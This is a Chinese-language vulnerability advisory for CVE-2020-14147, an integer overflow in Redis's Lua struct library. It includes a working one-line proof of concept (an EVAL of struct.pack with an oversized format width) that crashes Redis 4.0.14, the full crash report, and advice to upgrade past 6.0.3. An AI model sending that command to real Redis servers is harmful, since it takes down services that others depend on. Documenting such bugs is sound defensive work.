描述:
Redis Labs Redis 6.0.3之前版本存在拒绝服务漏洞。
该漏洞源于lua_struct.c中的“getnum”函数中的整数溢出。
远程攻击者可利用该漏洞通过发送大量的特制命令导致堆栈缓冲区溢出,从而造成拒绝服务。
触发条件:
在redis中,通过eval、evalsha命令调用执行lua脚本时,在脚本中使用struct.pack函数,
传入格式串参数(函数第一个参数)超出C语言整型范围(INT_MAX=2147483647),
会触发BUG,导致redis进程退出并报错:Connection refused。
受影响系统:
Redis Labs Redis < 6.0.3
重现过程:
redis测试版本:4.0.14
[redis@cjcos02 conf]$ redis-cli
输入I30,正常返回
127.0.0.1:6379> EVAL "struct.pack('>I30','10')" 0
(nil)
输入I2147483648,超过临界值-2147483648 ~ 2147483647,触发BUG,导致redis退出。
127.0.0.1:6379> EVAL "struct.pack('>I2147483648','10')" 0
Could not connect to Redis at 127.0.0.1:6379: Connection refused
查看对应告警日志
=== REDIS BUG REPORT START: Cut & paste starting from here === 11806:M 28 Nov 10:39:41.803 # Redis 4.0.14 crashed by signal: 7 11806:M 28 Nov 10:39:41.803 # Crashed running the instruction at: 0x4b6696 11806:M 28 Nov 10:39:41.803 # Accessing address: (nil) 11806:M 28 Nov 10:39:41.803 # Failed assertion:( :0) ------ STACK TRACE ------ EIP: redis-server 127.0.0.1:6379[0x4b6696] Redis漏洞:CVE-2020-14147 Backtrace: redis-server 127.0.0.1:6379(logStackTrace+0x29)[0x468a29] redis-server 127.0.0.1:6379(sigsegvHandler+0xac)[0x4690cc] /lib64/libpthread.so.0(+0xf680)[0x7ffff76c8680] redis-server 127.0.0.1:6379[0x4b6696] redis-server 127.0.0.1:6379[0x4a3e44] redis-server 127.0.0.1:6379[0x4acc47] redis-server 127.0.0.1:6379[0x4a429d] redis-server 127.0.0.1:6379[0x4a3608] redis-server 127.0.0.1:6379[0x4a440a] redis-server 127.0.0.1:6379(lua_pcall+0x4b)[0x4a1cdb] redis-server 127.0.0.1:6379(evalGenericCommand+0x481)[0x476ec1] redis-server 127.0.0.1:6379(call+0x9e)[0x42c06e] redis-server 127.0.0.1:6379(processCommand+0x3c7)[0x42c777] redis-server 127.0.0.1:6379(processInputBuffer+0x105)[0x43b8b5] redis-server 127.0.0.1:6379(aeProcessEvents+0x2a0)[0x426790] redis-server 127.0.0.1:6379(aeMain+0x2b)[0x426a5b] redis-server 127.0.0.1:6379(main+0x49f)[0x42385f] /lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff730e3d5] redis-server 127.0.0.1:6379[0x423b52] ------ INFO OUTPUT ------ # Server redis_version:4.0.14 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:38f5ac5d45de0ed2 redis_mode:standalone os:Linux 4.1.12-112.16.4.el7uek.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:4.8.5 process_id:11806 run_id:91aa8adfbed4cd333d456594638c5b2742d59238 tcp_port:6379 uptime_in_seconds:207 uptime_in_days:0 hz:10 lru_clock:8658797 executable:/redis/conf/redis-server config_file:/redis/conf/redis.conf # Clients connected_clients:1 client_longest_output_list:0 client_biggest_input_buf:0 blocked_clients:0 # Memory used_memory:571376 used_memory_human:557.98K used_memory_rss:9486336 used_memory_rss_human:9.05M used_memory_peak:571376 used_memory_peak_human:557.98K used_memory_peak_perc:100.08% used_memory_overhead:557710 used_memory_startup:508072 used_memory_dataset:13666 used_memory_dataset_perc:21.59% total_system_memory:2883067904 total_system_memory_human:2.69G used_memory_lua:39936 used_memory_lua_human:39.00K maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction mem_fragmentation_ratio:16.60 mem_allocator:jemalloc-4.0.3 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1669602974 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:0 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 # Stats total_connections_received:1 total_commands_processed:5 instantaneous_ops_per_sec:0 total_net_input_bytes:250 total_net_output_bytes:13399 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 # Replication role:master connected_slaves:0 master_replid:2c16e3a046e16b58c032b30d62338fcd69b283b7 master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:0.20 used_cpu_user:0.12 used_cpu_sys_children:0.00 used_cpu_user_children:0.00 # Commandstats cmdstat_info:calls=1,usec=159,usec_per_call=159.00 cmdstat_eval:calls=3,usec=317,usec_per_call=105.67 cmdstat_command:calls=1,usec=719,usec_per_call=719.00 # Cluster cluster_enabled:0 # Keyspace ------ CLIENT LIST OUTPUT ------ id=3 addr=127.0.0.1:27896 fd=7 name= age=195 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=eval ------ CURRENT CLIENT INFO ------ id=3 addr=127.0.0.1:27896 fd=7 name= age=195 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=eval argv[0]: 'EVAL' argv[1]: 'struct.pack('>I2147483648','10')' argv[2]: '0' ------ REGISTERS ------ 11806:M 28 Nov 10:39:41.806 # RAX:000000000000000a RBX:00007fffffffdf28 RCX:000000007fffffff RDX:000000007ffffffe RDI:00007fffffffba00 RSI:000fffff00000000 RBP:ffffffff80000000 RSP:00007fffffffbec0 R8 :0000000000000000 R9 :0000000000000000 R10:000000000075f7c0 R11:0000000000000031 R12:0000000000000000 R13:0000000080000000 R14:0000000000000003 R15:0000000000000000 RIP:00000000004b6696 EFL:0000000000010202 CSGSFS:0000000000000033 11806:M 28 Nov 10:39:41.806 # (00007fffffffbecf) -> 0000000000000000 11806:M 28 Nov 10:39:41.806 # (00007fffffffbece) -> 0000000000000000 11806:M 28 Nov 10:39:41.807 # (00007fffffffbecd) -> 0000000000000000 11806:M 28 Nov 10:39:41.807 # (00007fffffffbecc) -> 000000000075f520 11806:M 28 Nov 10:39:41.807 # (00007fffffffbecb) -> 0000000000000000 11806:M 28 Nov 10:39:41.808 # (00007fffffffbeca) -> 00007fffffffbf28 11806:M 28 Nov 10:39:41.808 # (00007fffffffbec9) -> 0000000000000000 11806:M 28 Nov 10:39:41.809 # (00007fffffffbec8) -> 0000000000000000 11806:M 28 Nov 10:39:41.809 # (00007fffffffbec7) -> 00007fff0000000a 11806:M 28 Nov 10:39:41.809 # (00007fffffffbec6) -> 0000000000000007 11806:M 28 Nov 10:39:41.810 # (00007fffffffbec5) -> 00000000007607f4 11806:M 28 Nov 10:39:41.810 # (00007fffffffbec4) -> 0000000100000000 11806:M 28 Nov 10:39:41.810 # (00007fffffffbec3) -> 00007fffffffbef1 11806:M 28 Nov 10:39:41.810 # (00007fffffffbec2) -> 0000000100000002 11806:M 28 Nov 10:39:41.811 # (00007fffffffbec1) -> 00007ffff76b3060 11806:M 28 Nov 10:39:41.811 # (00007fffffffbec0) -> 000000000075f520 ------ FAST MEMORY TEST ------ 11806:M 28 Nov 10:39:41.812 # Bio thread for job type #0 terminated 11806:M 28 Nov 10:39:41.812 # Bio thread for job type #1 terminated 11806:M 28 Nov 10:39:41.812 # Bio thread for job type #2 terminated *** Preparing to test memory region 745000 (233472 bytes) *** Preparing to test memory region 7fffeeffe000 (8388608 bytes) *** Preparing to test memory region 7fffef7ff000 (8388608 bytes) *** Preparing to test memory region 7ffff0000000 (8388608 bytes) *** Preparing to test memory region 7ffff0800000 (2097152 bytes) *** Preparing to test memory region 7ffff7000000 (2097152 bytes) *** Preparing to test memory region 7ffff76b4000 (20480 bytes) *** Preparing to test memory region 7ffff78d1000 (16384 bytes) *** Preparing to test memory region 7ffff7fd2000 (16384 bytes) *** Preparing to test memory region 7ffff7ff5000 (4096 bytes) *** Preparing to test memory region 7ffff7ff6000 (4096 bytes) *** Preparing to test memory region 7ffff7ffe000 (4096 bytes) .O.O.O.O.O.O.O.O.O.O.O.O Fast memory test PASSED, however your memory can still be broken. Please run a memory test for several hours if possible. ------ DUMPING CODE AROUND EIP ------ Symbol: (null) (base: (nil)) Module: redis-server 127.0.0.1:6379 (base 0x400000) $ xxd -r -p /tmp/dump.hex /tmp/dump.bin $ objdump --adjust-vma=(nil) -D -b binary -m i386:x86-64 /tmp/dump.bin ------ === REDIS BUG REPORT END. Make sure to include from START to END. === Please report the crash by opening an issue on github: http://github.com/antirez/redis/issues Suspect RAM error? Use redis-server --test-memory to verify it.
解决方案:
升级redis到6.0.3以上版本,如果不使用lua脚本,可忽略。